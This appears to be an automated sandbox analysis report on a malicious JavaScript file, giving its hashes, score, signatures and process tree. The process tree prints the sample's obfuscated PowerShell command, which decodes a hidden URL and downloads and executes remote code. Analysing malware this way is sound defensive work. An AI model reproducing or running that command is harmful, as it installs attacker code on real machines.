Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:16
General
-
Target
b2cb5fd78c50017d446ce5a874500706c474156d5650b37d2738996306dfa388.js
-
Size
190KB
-
MD5
e6f409613ab68ae30633627f0c13aea1
-
SHA1
8b61a6def998e62ca7565712d69164f005e16deb
-
SHA256
b2cb5fd78c50017d446ce5a874500706c474156d5650b37d2738996306dfa388
-
SHA512
7a061bd694c7010f5bb4335fb4ad164c5aa4259bccdc4bdb7f1a10674df5b22f452e93b6f76df0e769793445c5238248f8c1f6e40981f5e1ed04b6ccc3c9e324
-
SSDEEP
1536:nw4203+M1CubRFvgxAyJ/qCcooBY1UD+M1CubRFvgxAyJ/QCcooBY1UwCcooBY1e:nFh+rP/1wh+rl/1G/19h+rdh+r2
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\b2cb5fd78c50017d446ce5a874500706c474156d5650b37d2738996306dfa388.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $fcbmzp='ur' ;new-alias printout c$($fcbmzp)l;$uaghemjrdnfsp=(2628,2639,2647,2631,2633,2628,2648,2647,2652,2585,2647,2581,2628,2576,2646,2641,2642,2577,2579,2576,2642,2634,2642,2593,2645,2591,2639,2635,2640,2646,2645,2580,2579);$gzkcfu=('bronx','get-cmdlet');$qmzfbdsyo=$uaghemjrdnfsp;foreach($qkedmjfyv in $qmzfbdsyo){$pfoalvmqtywx=$qkedmjfyv;$xqbpmdjlsarfk=$xqbpmdjlsarfk+[char]($pfoalvmqtywx-2530);$atikshxvuynwgr=$xqbpmdjlsarfk; $amowtecvxkp=$atikshxvuynwgr};$hycibqzspnv[2]=$amowtecvxkp;$aozswpmkvjgcy='rl';$olpiarnjkfub=1;.$([char](9992-9887)+'e'+'x')(printout -useb $amowtecvxkp)1⤵
- Process spawned unexpected child process